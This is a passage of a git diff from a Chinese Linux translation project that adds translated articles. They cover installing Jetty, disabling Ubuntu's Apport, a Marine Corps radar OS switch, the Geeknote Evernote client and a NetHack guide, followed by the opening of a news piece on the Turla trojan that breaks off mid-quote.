+在安装Jetty服务器前,您需要通过以下命令安装Java + + sudo apt-get install openjdk-8-jdk + +Java将会安装到/usr/lib/jvm/java-8-openjdk-i386,同时在该目录下会创建一个名为java-8-openjdk-i386的符号链接,在/usr/bin/java下也会相应创建符号链接。 + +现在你需要从[这里][1]下载Jetty9,在下载完成后,你需要使用以下命令来解压缩 + + $tar -xvf jetty-distribution-9.2.5.v20141112.tar.gz + +该操作会将它解压到jetty-distribution-9.2.5.v20141112,而你需要使用以下命令将归档文件移动到/opt/jetty + + $mv jetty-distribution-9.2.5.v20141112 /opt/jetty + +你需要创建jetty用户,并将其设置成/opt/jetty目录的属主 + + sudo useradd jetty -U -s /bin/false + + sudo chown -R jetty:jetty /opt/jetty + + +使用以下命令拷贝Jetty脚本到启动目录,以便让它作为一个服务来运行 + + $ cp /opt/jetty/bin/jetty.sh /etc/init.d/jetty + +现在,你需要使用以下内容来创建Jetty设置文件 + + sudo vi /etc/default/jetty + +添加以下行 + + JAVA_HOME=/usr/bin/java + JETTY_HOME=/opt/jetty + NO_START=0 + JETTY_ARGS=jetty.port=8085 + JETTY_HOST=0.0.0.0 + JETTY_USER=jetty + +保存并退出该文件 + +你需要使用以下命令来启动Jetty服务 + + sudo service jetty start + +你应该看到和下面类似的输出 + + Starting Jetty: OK Mon Nov 24 11:55:48 GMT 2014 + +如果你看到了下面的错误 + +#### ** ERROR: JETTY_HOME not set, you need to set it or install in a standard location #### + +你需要确保在/etc/default/jetty文件中设置了正确的Jetty家目录路径,你可以使用以下URL来测试jetty。 + +Jetty现在应该运行在8085端口,打开浏览器并访问http://服务器IP:8085,你应该可以看到Jetty屏幕。 + +#### Jetty服务检查 #### + +使用以下命令来验证并检查配置 + + sudo service jetty check + +使用以下命令来让Jetty开重启后自动启动 + + sudo update-rc.d jetty defaults + +重启服务器并测试Jetty是否自动启动。 + +要检查Jetty运行在哪个端口上,或者该端口是否与其它程序冲突,可以运行netstat -tln + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/install-jetty-9-java-servlet-engine-and-webserver-on-ubuntu-14-10-server.html + +作者:[ruchi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://download.eclipse.org/jetty/stable-9/dist/ diff --git a/published/201501/20141208 Linux FAQs with Answers--How to disable Apport internal error reporting on Ubuntu.md b/published/201501/20141208 Linux FAQs with Answers--How to disable Apport internal error reporting on Ubuntu.md new file mode 100644 index 0000000000..53ac6c69e6 --- /dev/null +++ b/published/201501/20141208 Linux FAQs with Answers--How to disable Apport internal error reporting on Ubuntu.md @@ -0,0 +1,45 @@ +Linux有问必答:如何禁止Ubuntu的Apport内部错误报告程序 +================================================================================ +> **问题**:在桌面版Ubuntu中,我经常遇到一些弹窗窗口,警告我Ubuntu发生了内部错误,问我要不要发送错误报告。每次软件崩溃都要烦扰我,我如何才能关掉这个错误报告功能呢? + +Ubuntu桌面版预装了Apport,它是一个错误收集系统,会收集软件崩溃、未处理异常和其他,包括程序bug,并为调试目的生成崩溃报告。当一个应用程序崩溃或者出现Bug时候,Apport就会通过弹窗警告用户并且询问用户是否提交崩溃报告。你也许也看到过下面的消息。 + +- "Sorry, the application XXXX has closed unexpectedly." +- "对不起,应用程序XXXX意外关闭了。" +- "Sorry, Ubuntu XX.XX has experienced an internal error." +- "对不起,Ubuntu XX.XX 发生了一个内部错误。" +- "System program problem detected." +- "检测到系统程序问题。" + +![](https://farm9.staticflickr.com/8635/15688551119_708b23b12a_z.jpg) + +也许因为应用一直崩溃,频繁的错误报告会使人心烦。也许你担心Apport会收集和上传你的Ubuntu系统的敏感信息。无论什么原因,你想关掉Apport的错误报告功能。 + +### 临时关闭Apport错误报告 ### + +如果你想要临时关闭Apport,使用下列命令 + + $ sudo service apport stop + +注意重启Ubuntu系统Apport会继续开启 + +### 永久关闭Apport错误报告 ### + +为了永久关闭Apport,编辑/etc/default/apport,修改下列参数 + + enabled=0 + +重启你的Ubuntu系统,Apport将会自动关闭 + +如果你再也不会用Apport,有一种简单的方法完全移除它 + + $ sudo apt-get purge apport + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/disable-apport-internal-error-reporting-ubuntu.html + +译者:[VicYu/Vic020](http://www.vicyu.net/) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201501/20141208 U.S. Marine Corps Wants to Change OS for Radar System from Windows XP to Linux.md b/published/201501/20141208 U.S. Marine Corps Wants to Change OS for Radar System from Windows XP to Linux.md new file mode 100644 index 0000000000..3b9f45c840 --- /dev/null +++ b/published/201501/20141208 U.S. Marine Corps Wants to Change OS for Radar System from Windows XP to Linux.md @@ -0,0 +1,47 @@ +美国海军陆战队要把雷达操作系统从Windows XP换成Linux +================================================================================ +**一个新的雷达系统已经被送回去升级了** + +![](http://i1-news.softpedia-static.com/images/news2/U-S-Marine-Corps-Want-to-Change-OS-for-Radar-System-from-Windows-XP-to-Linux-466756-2.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/U-S-Marine-Corps-Want-to-Change-OS-for-Radar-System-from-Windows-XP-to-Linux-466756-3.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/U-S-Marine-Corps-Want-to-Change-OS-for-Radar-System-from-Windows-XP-to-Linux-466756-4.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/U-S-Marine-Corps-Want-to-Change-OS-for-Radar-System-from-Windows-XP-to-Linux-466756-5.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/U-S-Marine-Corps-Want-to-Change-OS-for-Radar-System-from-Windows-XP-to-Linux-466756-6.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/U-S-Marine-Corps-Want-to-Change-OS-for-Radar-System-from-Windows-XP-to-Linux-466756-7.jpg) + +>一谈到稳定性和性能,没什么能真的比得过Linux。这就是为什么美国海军陆战队的领导们已经决定让Northrop Grumman Corp. Electronic Systems把新送到的地面/空中任务导向雷达(G/ATOR)的操作系统从Windows XP换成Linux。 + +地面/空中任务导向雷达(G/ATOR)系统已经研制了很多年。很可能在这项工程启动的时候Windows XP被认为是合理的选择。但在研制的这段时间,事情发生了变化。微软已经撤销了对Windows XP的支持而且只有极少的几个组织会使用它。操作系统要么升级要么被换掉。在这种情况下,Linux成了合理的选择。特别是当替换的费用很可能远远少于更新的费用。 + +有个很有趣的地方值得注意一下。地面/空中任务导向雷达(G/ATOR)才刚刚送到美国海军陆战队,但是制造它的公司却还是选择了保留这个过时的操作系统。一定有人注意到的这样一个事实。这是一个糟糕的决定,并且指挥系统已经被告知了可能出现的问题了。 + +### G/ATOR雷达的软件将是基于Linux的 ### + +Unix类系统,比如基于BSD或者基于Linux的操作系统,通常会出现在条件苛刻的领域,或者任何情况下都不允许失败的的技术中。例如,这就是为什么大多数的服务器都运行着Linux。一个雷达系统配上一个几乎不可能崩溃的操作系统看起来非常相配。 + +“弗吉尼亚州Quantico海军基地海军陆战队系统司令部的官员,在周三宣布了一项与Northrop Grumman Corp. Electronic Systems在林西科姆高地的部分的总经理签订的价值1020万美元的修正合同。这个合同的修改将包括这样一项,把G/ATOR的控制电脑从微软的Windows XP操作系统换成与国防信息局(DISA)兼容的Linux操作系统。” + +‘G/ATOR是一个远征三维中短距离多用途雷达系统。这个系统被设计成能够探测拥有低雷达截面的低可观测目标,比如火箭弹,火炮,迫击炮,巡航导弹以及无人机。”这些内容可以在[militaryaerospace.com][1]看到。 + +这项军用科技,即地面/空中任务导向雷达(G/ATOR),早在2005年就与Northrop Grumman签订了第一次合同。所以不难理解为什么美国海军可能想把这件事快点弄完。这次更换的时间限制还没有被提议。 + +视频链接:[http://youtu.be/H2ppl4x-eu8][2] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/U-S-Marine-Corps-Want-to-Change-OS-for-Radar-System-from-Windows-XP-to-Linux-466756.shtml + +作者:[Silviu Stahie][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://www.militaryaerospace.com/articles/2014/12/gator-linux-software.html +[2]:http://youtu.be/H2ppl4x-eu8 diff --git a/published/201501/20141210 How to use Evernote from the command line on Linux.md b/published/201501/20141210 How to use Evernote from the command line on Linux.md new file mode 100644 index 0000000000..e02e9db712 --- /dev/null +++ b/published/201501/20141210 How to use Evernote from the command line on Linux.md @@ -0,0 +1,149 @@ +如何在Linux的命令行中使用Evernote +================================================================================ +这周让我们继续学习如何使用Linux命令行管理和组织信息。在命令行中管理[你的个人花费][1]后,我建议你在命令行中管理你的笔记,特别是当你用Evernote记录笔记时。要是你从来没有听说过它,[Evernote][2] 专门有一个用户友好的在线服务可以在不同的设备间同步笔记。除了提供花哨的基于Web的API,Evernote还发布了在Windows、Mac、[Android][3]和iOS上的客户端。然而至今还没有官方的Linux客户端可用。老实说在众多的非官方Linux客户端中,有一个程序一出现就吸引了所有的命令行爱好者,它就是[Geeknote][4]。 + +### Geeknote 的安装 ### + +Geeknote是使用Python开发的。因此,在开始之前请确保你已经安装了Python(最好是2.7的版本)和git。 + +#### 在 Debian、 Ubuntu 和 Linux Mint 中 #### + + $ sudo apt-get install python2.7 git python-setuptools + $ git clone git://github.com/VitaliyRodnenko/geeknote.git + $ cd geeknote + $ sudo python2.7 setup.py install + +#### 在 Fedora 或者 CentOS/RHEL 中 #### + + $ sudo yum install git + $ git clone git://github.com/VitaliyRodnenko/geeknote.git + $ cd geeknote + $ sudo python setup.py install + +#### 在 Arch Linux 中 #### + +对于ArchLinux用户,只需要使用[AUR][5]中的包。 + +### Geeknote 的基本使用 ### + +一旦你安装完Geeknote后,你应该将Geeknote与你的Evernote账号关联: + + $ geeknote login + +接着输入你的email地址、密码和你的二步验证码。如果你没有后者的话,忽略它并按下回车。 + +![](https://farm8.staticflickr.com/7525/15761947888_7bc71bf216_o.jpg) + +显然你需要一个Evernote账号来完成这些,因此先去注册吧。 + +完成这些之后,你就可以开始创建新的笔记并编辑它们了。 + +不过首先,你还需要设置你最喜欢的文本编辑器: + + $ geeknote settings --editor vim + +然后,一般创建一条新笔记的语法是: + + $ geeknote create --title [title of the new note] (--content [content] --tags [comma-separated tags] --notebook [comma-separated notebooks]) + +上面的命令中,只有‘title’是必须的,它会与一条新笔记的标题相关联。其他的标注可以为笔记添加额外的元数据:添加标签来与你的笔记关联、指定放在那个笔记本里。同样,如果你的标题或者内容中有空格,不要忘记将它们放在引号中。 + + +比如: + + $ geeknote create --title "My note" --content "This is a test note" --tags "finance, business, important" --notebook "Family" + +然后,你可以编辑你的笔记。语法很相似: + + $ geeknote edit --note [title of the note to edit] (--title [new title] --tags [new tags] --notebook [new notebooks]) + +注意可选的参数如新的标题、标签和笔记本,用来修改笔记的元数据。你也可以用下面的命令重命名笔记: + + $ geeknote edit --note [old title] --title [new title] + +现在基本的创建和编辑已经完成了,更高级的特性是搜索和删除。你可以下面的语法搜索你的笔记: + + $ geeknote find --search [text-to-search] --tags [comma-separated tags] --notebook [comma-separated notebooks] --date [date-or-date-range] --content-search + +默认地上面的命令会通过标题搜索笔记。 用"--content-search"选项,就可以按内容搜索。 + +比如: + + $ geeknote find --search "*restaurant" --notebooks "Family" --date 31.03.2014-31.08.2014 + +显示指定标题的笔记: + + $ geeknote show [title] + +![](https://farm8.staticflickr.com/7538/15327089024_32867cded6_o.jpg) + +我最喜欢使用的一个技巧是使用: + + $ geeknote show "*" + +这会显示所有的笔记并允许你在这中选择一个。 + +删除一条笔记: + + $ geeknote remove --note [title] + +小心这是真正的删除。它会从云存储中删除这条笔记。 + +最后有很多的选项来管理标签和笔记本。我想最有用的就是显示笔记本列表。 + + $ geeknote notebook-list + +![](https://farm8.staticflickr.com/7472/15762063420_43e3ee17da_o.jpg) + +下面的命令非常相像。你可以猜到,可以用下面的命令列出所有的标签: + + $ geeknote tag-list + +创建一个笔记本: + + $ geeknote notebook-create --title [notebook title] + +创建一个标签: + + $ geeknote tag-create --title [tag title] + +一旦你了解了窍门,很明显这些语法是非常自然明确的。 + +如果你想要了解更多,不要忘记查看[官方文档][6]。 + +### 福利 ### + +作为福利,Geeknote自带的gnsync工具可以让你在Evernote和本地计算机之间同步。不过,我发现它的语法有点枯燥: + + $ gnsync --path [where to sync] (--mask [what kind of file to sync] --format [in which format] --logpath [where to write the log] --notebook [which notebook to use]) + +下面是这些参数的意义。 + +- **--path /home/adrien/Documents/notes/**: 与Evernote同步笔记的位置。 +- **--mask "*.txt"**: 只同步纯文本文件。默认gnsync会尝试同步所有文件。 +- **--format markdown**: 你希望它们是纯文本或者markdown格式(默认是纯文本)。 +- **--logpath /home/adrien/gnsync.log**: 同步日志的位置。为防出错,gnsync会在那里写入日志信息。 +- **--notebook "Family"**: 同步哪个笔记本中的笔记。如果留空,程序会创建一个以你同步文件夹命令的笔记本。 + +总的来说,Geeknote是一款漂亮的Evernote的命令行客户端。我个人不常使用Evernote,但它仍然很漂亮和有用。命令行一方面让它变得很极客且很容易与shell脚本结合。此外,在Git上还有Geeknote的一个分支项目,在ArchLinux AUR上称为[geeknote-improved-git][7],貌似它有更多的特性和比其他分支更积极的开发。我觉得值得去看看。 + +你认为Geeknote怎么样? 有什么你想用的么?或者你更喜欢使用传统的程序?在评论区中让我们知道。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/evernote-command-line-linux.html + +作者:[Adrien Brochard][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://xmodulo.com/manage-personal-expenses-command-line.html +[2]:https://evernote.com/ +[3]:http://xmodulo.com/go/android_tutorial +[4]:http://www.geeknote.me/ +[5]:https://aur.archlinux.org/packages/geeknote-git/ +[6]:http://www.geeknote.me/documentation/ +[7]:https://aur.archlinux.org/packages/geeknote-improved-git/ \ No newline at end of file diff --git a/published/201501/20141211 NetHack.md b/published/201501/20141211 NetHack.md new file mode 100644 index 0000000000..20c504bb11 --- /dev/null +++ b/published/201501/20141211 NetHack.md @@ -0,0 +1,105 @@ +也许是有史以来最好的游戏:NetHack +================================================================================ + +**这款游戏非常容易让你上瘾。你可能需要花费一生的时间来掌握它。许多人玩了几十年也没有通关。欢迎来到 NetHack 的世界...** + +不管你信不信,在 NetHack 里你见到字母 **D** 的时候你会被吓着。但是当你看见一个 **%** 的时候,你将会欣喜若狂。(忘了说 **\^**,你看见它将会更激动)在你寻思我们的脑子是不是烧坏了并准备关闭浏览器标签之前,请给我们一点时间解释:这些符号分别代表龙、食物以及陷阱。欢迎来到 NetHack 的世界,在这里你的想象力需要发挥巨大的作用。 + +如你所见,NetHack 是一款文字模式的游戏:它仅仅使用标准终端字符集来刻画玩家、敌人、物品还有环境。游戏的图形版是存在的,不过 NetHack 的骨灰级玩家们都倾向于不去使用它们,问题在于假如你使用图形界面,当你通过 SSH 登录到你的古董级的运行着 NetBSD 的 Amiga 3000 上时,你还能进行游戏吗?在某些方面,NetHack 和 Vi 非常相似 - 几乎被移植到了现存的所有的操作系统上,并且依赖都非常少。 + +那么问题来了,和现代游戏相比如此简陋的画面,是什么造就了 NetHack 如此巨大的吸引力的呢? +事实上,这款地牢探险类神作有着令人难以置信的丰富细节。有太多的东西等着你去发掘:法术释放、怪物战斗以及技巧学习 - 以及随机生成的地牢。有太多的东西等着你去探索,几乎没有哪两局游戏会是完全一样的。许多人玩了几十年也没有通关,每次游戏依然能发现一些以前不知道的秘密。 + +接下来,我们会向你讲述 NetHack 的历史,给你地牢探险的基本指导,再告诉你一些技巧。免责: +在你继续阅读本文之前,视为你已经自动同意了当你沉溺于 NetHack 以致影响到你的现实生活时,你不会起诉我们。 + +![NetHack 界面](http://www.linuxvoice.com/wp-content/uploads/2014/12/nh_annotated.png) + +*NetHack 界面* + +### 也许是最古老的仍在开发的游戏里 ### + +名非其实,NetHack 并不是一款网络游戏。它只不过是基于一款出现较早的名为 Hack 的地牢探险类游戏开发出来的,而这款 Hack 游戏是 1980 年的游戏 Rogue 的后代。NetHack 在 1987 年发布了第一个版本,并于 2003 年发布了 3.4.3 版本,尽管在这期间一直没有加入新的功能,但各种补丁、插件,以及衍生作品还是在网络上疯狂流传。这使得它可以说是最古老的、拥有众多对游戏乐此不疲的粉丝的游戏。当你访问 [www.reddit.com/r/nethack][1] 之后,你就会了解我们的意思了 - 骨灰级的 NetHack 的玩家们仍然聚集在一起讨论新的策略、发现和技巧。偶尔你也可以发现 NetHack 的元老级玩家在历经千辛万苦终于通关之后发出的欢呼。 + +但怎样才能通关呢?首先,NetHack 被设定在既大又深的地牢中。游戏开始时你在最顶层 - 第 1 层 - 你的目标是不断往下深入直到你找到一个非常宝贵的物品,护身符 Yendor。通常来说 Yendor 在 第 20 层或者更深的地方,但它是可以变化的。随着你在地牢的不断深入,你会遇到各种各样的怪物、陷阱以及 NPC;有些会试图杀掉你,有些会挡在你前进的路上,还有些... 总而言之,在你靠近 TA 们之前你永远不知道 TA 们会怎样。 + +> 要学习的有太多太多,绝大多数物品只有在和其他物品同时使用的情况下才会发挥最好的效果。 + +使 NetHack 如此引人入胜的原因是游戏中所加入的大量物品。武器、盔甲、附魔书、戒指、宝石 - 要学习的有太多太多,绝大多数物品只有在和其他物品同时使用的情况下才会发挥最好的效果。怪物在死亡后经常会掉落一些有用的物品,以及某些物品如果你不正确使用的话会产生及其不良的作用。你可以在地牢找到商店,里面有许多看似平凡实则非常有用的物品,不过别指望店主能给你详细的描述。你只能靠自己的经验来了解各个物品的用途。有些物品确实没有太大用处,NetHack 中有很多的恶搞元素 - 比如你可以把一块奶油砸到自己的脸上。 + +不过在你踏入地牢之前,NetHack 会询问你要选择哪种角色进行游戏。你可以为你接下来的地牢之行选择骑士、修道士、巫师,或者卑微的旅者,还有许多其他的角色类型。每种角色都有其独特的优势与弱点,NetHack 的重度玩家喜欢选择那些相对较弱的角色来挑战游戏。你懂的,这样可以向其他玩家炫耀自己的实力。 + +> **情报不会降低游戏的乐趣** + +> 用 NetHack 的说法来讲,“情报员”给指其他玩家提供关于怪物、物品、武器和盔甲信息的玩家。理论上来说,完全可以不借助任何外来信息而通关,但几乎没有几个玩家能做到,游戏实在是太难了。因此使用情报并不会被视为一件糟糕的事情 - 但是一开始由你自己来探索游戏和解决难题,这样才会获得更多的乐趣,只有当你遇到瓶颈的时候再去使用那些情报。 + +> 在这里给出一个比较有名的情报站点 [www.statslab.cam.ac.uk/~eva/nethack/spoilerlist.html][2],其中的情报被分为了不同的类别。游戏中随机发生的事,比如在喷泉旁饮水可能导致的不同结果,从这里你可以得知已确定的不同结果的发生概率。 +> + +### 你的首次地牢之行 ### + +NetHack 几乎可以在所有的主流操作系统以及 Linux 发行版上运行,因此你可以通过 "apt-get install nethack" 或者 "yum install nethack" 等适合你用的发行版的命令来安装游戏。安装完毕后,在一个命令行窗口中键入 "nethack" 就可以开始游戏了。游戏开始时系统会询问是否为你随机挑选一位角色 - 但作为一个新手,你最好自己从里面挑选一位比较强的角色。所以,你应该点 "n",然后点 "v" 以选取女武神(Valkyrie),而点 "d" 会选择成为侏儒(dwarf)。 + +接着 NetHack 上会显示出剧情,说你的神正在寻找护身符 Yendor,你的目标就是找到它并将它带给神。阅读完毕后点击空格键(其他任何时候当你见到屏幕上的 "-More-" 时都可以这样)。接着就让我们出发 - 开始地牢之行吧! + +先前已经介绍过了,你的角色用 @ 来表示。你可以看见角色所出房间周围的墙壁,房间里显示“点”的那些地方是你可以移动的空间。首先,你得明白怎样移动角色:h、j、k 以及 l。(是的,和 Vim 中移动光标的操作相同)这些操作分别会使角色向向左、向下、向上以及向右移动。你也可以通过 y、u、b 和 n 来使角色斜向移动。在你熟悉如何控制角色移动前你最好在房间里来回移动你的角色。 + +NetHack 采用了回合制,因此即使你不进行任何动作,游戏仍然在进行。这是你可以提前计划你的行动。你可以看见一个 "d" 字符或者 "f" 字符在房间里来回移动:这是你的宠物狗/猫,(通常情况下)它们不会伤害你而是帮助你击杀怪物。但是宠物也会被惹怒 - 它们偶尔也会抢在你接近食物或者怪物尸体之前吃掉它们。 + +![点击 “i” 列出你当前携带的物品清单](http://www.linuxvoice.com/wp-content/uploads/2014/12/nh_inventory.png) + +*点击 “i” 列出你当前携带的物品清单* + +### 门后有什么? ### + +接下来,让我们离开房间。房间四周的墙壁某处会有缝隙,可能是 "+" 号。"+" 号表示一扇关闭的门,这时你应该靠近它然后点击 "o" 来开门。接着系统会询问你开门的方向,假如门在你的左方,就点击 "h"。(如果门被卡住了,就多试几次)然后你就可以看见门后的走廊了,它们由 "#" 号表示,沿着走廊前进直到你找到另一个房间。 + +地牢之行中你会见到各种各样的物品。某些物品,比如金币(由 "$" 号表示)会被自动捡起来;至于另一些物品,你只能站在上面按下逗号键手动拾起。如果同一位置有多个物品,系统会给你显示一个列表,你只要通过合适的按键选择列表中你想要的物品最后按下 "Enter" 键即可。任何时间你都可以点击 "i" 键在屏幕上列出你当前携带的物品清单。 + +如果看见了怪物该怎么办?在游戏早期,你可能会遇到的怪物会用符号 "d"、"x" 和 ":" 表示。想要攻击的话,只要简单地朝怪物的方向移动即可。系统会在屏幕顶部通过信息显示来告诉你攻击是否成功 - 以及怪物做出了何种反应。早期的怪物很容易击杀,所以你可以毫不费力地打败他们,但请留意底部状态栏里显示的角色的 HP 值。 + +> 早期的怪物很容易击杀,但请留意角色的 HP 值。 + +如果怪物死后掉落了一具尸体("%"),你可以点击逗号进行拾取,并点击 "e" 来食用。(在任何时候系统提示你选择一件物品,你都可以从物品列表中点击相应的按键,或者点击 "?" 来查询迷你菜单。)注意!有些尸体是有毒的,这些知识你将在日后的冒险中逐渐学会掌握。 + +如果你在走廊里行进时遇到了死胡同,你可以点击 "s" 进行搜寻直到找到一扇门。这会花费时间,但是你可以这样加速游戏进程:输入 "10" 并点击 "s" 你将一下搜索 10 次。这将花费游戏中进行 10 次动作的时间,不过如果你正在饥饿状态,你将有可能会被饿死! + +通常你可以在地牢顶部找到 "{"(喷泉)以及 "!"(药水)。当你找到喷泉的时候,你可以站在上面并点击 "q" 键开始 “畅饮(quaff)” - 引用后会得到从振奋的到致命的多种效果。当你找到药水的时候,将其拾起并点击 "q" 来饮用。如果你找到一个商店,你可以拾取其中的物品并在离开前点击 "p" 键进行支付。当你负重过大时,你可以点击 "d" 键丢掉一些东西。 + +![现在已经有带音效的 3D 版 Nethack 了,如:Falcon’s Eye](http://www.linuxvoice.com/wp-content/uploads/2014/12/falcon.jpg) + +*现在已经有带音效的 3D 版 Nethack 了,如:Falcon’s Eye* + +> **愚蠢的死法** + +> 在 NetHack 玩家中流行着一个缩写词 "YASD" - 又一种愚蠢的死法(Yet Another Stupid Death)。这个缩写词表示了玩家由于自身的的愚蠢或者粗心大意导致了角色的死亡。我们搜集了很多这类死法,但我们最喜欢的是下面这种死法: + +> 我们正在商店浏览商品,这时一条蛇突然从药剂后面跳了出来。在杀死蛇之后,系统弹出一条信息提醒我们角色饥饿值过低了,因此我们顺手食用了蛇的尸体。坏事了!这使得我们的角色失明,导致我们的角色再也不能看见商店里的其他角色及地上的商品了。我们试图离开商店,但在慌乱中却撞在了店主身上并攻击了他。这种做法激怒了店主:他立即向我们的角色使用了火球术。我们试图逃到商店外的走廊上,但却在逃亡的过程中被烧死。 + +> 如果你有类似的死法,一定要来我们的论坛告诉我们。不要担心 - 没有人会嘲笑你。经历这样的死法也是你在 NetHack 的世界里不断成长的一部分。哈哈。 + +### 武装自己 ### + +地牢里,尤其是在你击杀怪物后,你可能会发现武器或盔甲。在这里再说一次,点击逗号把它们拾起,接着点击 "w"(小写的)来使用武器或者点击 "W"(大写的)来穿上盔甲。你可以用 "T" 来脱掉盔甲或者 "t" 来取下武器 - 如果你陷入了困境,请确保你总是在使用最好的装备。 + +在靠近掉在地下的装备之前最好检查一下身上的东西。点击 ";"(分号)后,"Pick an object"(选择一样物品)选项将出现在屏幕顶部。选择该选项,使用移动键直到选中你想要检查的物品,然后点击 ":"(冒号)。接着屏幕顶部将出现这件物品的描述。 + +因为你的目标是不断深入地牢直到找到护身符 Yendor,所以请随时留意周围的 "<" 和 ">" 符号。这两个符号分别表示向上和向下的楼梯,你可以用与之对应的按键来上楼或下楼。注意!如果你想让宠物跟随你进入下/上一层地牢,下/上楼前请确保你的宠物在你邻近的方格内。若果你想退出,点击 "S"(大写的)来保存进度,输入 #quit 退出游戏。当你再次运行 NetHack 时,系统将会自动读取你上次退出时的游戏进度。 + +我们就不继续剧透了,地牢深处还有更多的神秘细节、陌生的 NPC 以及不为人知的秘密等着你去发掘。那么,我们再给你点建议:当你遇到了让你困惑不已的物品时,你可以尝试去 NetHack 维基 [http://nethack.wikia.com][3] 进行搜索。你也可以在 [www.nethack.org/v343/Guidebook.html][4] 找到一本非常不错(尽管很长)的指导手册。最后,祝游戏愉快! + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/nethack/ + +作者:[Mike Saunders][a] +译者:[Stevearzh](https://github.com/Stevearzh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxvoice.com/author/mike/ +[1]:http://www.reddit.com/r/nethack +[2]:http://www.statslab.cam.ac.uk/~eva/nethack/spoilerlist.html +[3]:http://nethack.wikia.com/ +[4]:http://www.nethack.org/v343/Guidebook.html diff --git a/published/201501/20141211 Yes, This Trojan Infects Linux. No, It' s Not The Tuxpocalypse.md b/published/201501/20141211 Yes, This Trojan Infects Linux. No, It' s Not The Tuxpocalypse.md new file mode 100644 index 0000000000..b50120920a --- /dev/null +++ b/published/201501/20141211 Yes, This Trojan Infects Linux. No, It' s Not The Tuxpocalypse.md @@ -0,0 +1,76 @@ +没错,Linux是感染了木马!但,这并非企鹅的末日。 +================================================================================ +![Is something watching you?](http://www.omgubuntu.co.uk/wp-content/uploads/2014/12/spyware.jpg) + +译注:原文标题中Tuxpocalypse是作者造的词,由Tux和apocalypse组合而来。Tux是Linux的LOGO中那只企鹅的名字,apocalypse意为末世、大灾变,这里翻译成企鹅的末日。 + +你被监视了吗? + +带上一箱罐头,挖一个深坑碉堡,准备进入一个完全不同的新世界吧:[一个强大的木马已经在Linux中被发现][1]。 + +没错,迄今为止最牢不可破的计算机世外桃源已经被攻破了,安全专家们都已成惊弓之鸟。 + +关掉电脑,拔掉键盘,然后再买只猫(忘掉YouTube吧)。企鹅末日已经降临,我们的日子不多了。 + +我去?这是真的吗?依我看,不一定吧~ + +### 一次可怕的异常事件! ### + +先声明,**我并没有刻意轻视此次威胁(人们给这个木马起名为‘Turla’)的严重性**,为了避免质疑,我要强调的是,作为Linux用户,我们不应该为此次事件过分担心。 + +此次发现的木马能够在人们毫无察觉的情况下感染Linux系统,这是非常可怕的。事实上,它的主要工作是搜寻并向外发送各种类型的敏感信息,这一点同样令人感到恐惧。据了解,它已经存在至少4年时间,而且无需root权限就能完成这些工作。呃,这是要把人吓尿的节奏吗? + +But - 但是 - 新闻稿里常常这个时候该出现‘but’了 - 要说恐慌正在横扫桌面Linux的粉丝,那就有点断章取义、甚至不着边际了。 + +对我们中的有些人来说,计算机安全隐患的确是一种新鲜事物,然而我们应该对其审慎对待:对桌面用户来说,Linux仍然是一个天生安全的操作系统。一次瑕疵不应该否定它的一切,我们没有必要慌忙地割断网线。 + +### 国家资助,目标政府 ### + +![Is a penguin snake a ‘Penguake’ or a ‘Snaguin’?](http://www.omgubuntu.co.uk/wp-content/uploads/2014/12/penguin-snakle-by-icao-292x300.jpg) + +企鹅和蛇的组合该叫‘企蛇’还是‘蛇鹅’? + +‘Turla’木马是一个复杂、高级的持续威胁,四年多来,它以政府、大使馆以及制药公司的系统为目标,其使用的攻击方式所基于的代码[至少在14年前][2]就已存在了。 + +在Windows系统中,安全研究领域来自赛门铁克和卡巴斯基实验室的超级英雄们首先发现了这条黏黏的蛇,他们发现Turla及其组件已经**感染了45个国家的数百台个人电脑**,其中许多都是通过未打补丁的0day漏洞感染的。 + +*微软,干得漂亮。* + +经过卡巴斯基实验室的进一步努力,他们发现,同样的木马出现在了Linux上。 + +这款木马无需高权限就可以“拦截传入的数据包,在系统中执行传入的命令”,但是它的触角到底有多深,有多少Linux系统被感染,它的完整功能都有哪些,这些目前都暂时还不明朗。 + +根据它选定的目标,我们推断“Turla”(及其变种)是由某些民族的国家资助的。美国和英国的读者不要想当然以为这些国家就是“那些国家”。不要忘了我们自己的政府也很乐于趟这摊浑水。 + +#### 观点 与 责任 #### + +这次的发现从情感上、技术上、伦理上,都是一次严重的失利,但它远没有达到说我们已经进入一个病毒和恶意软件针对桌面自由肆虐的时代。 + +**Turla 并不是那种用户关注的“我想要你的信用卡”病毒**,那些病毒往往绑定在一个伪造的软件下载链接中。Turla是一种复杂的、经过巧妙处理的、具有高度适应性的威胁,它时刻都具有着特定的目标(因此它绝不仅仅满足于搜集一些卖萌少女的网站账户密码,sorry 绿茶婊们!)。 + +卡巴斯基实验室是这样介绍的: + +> 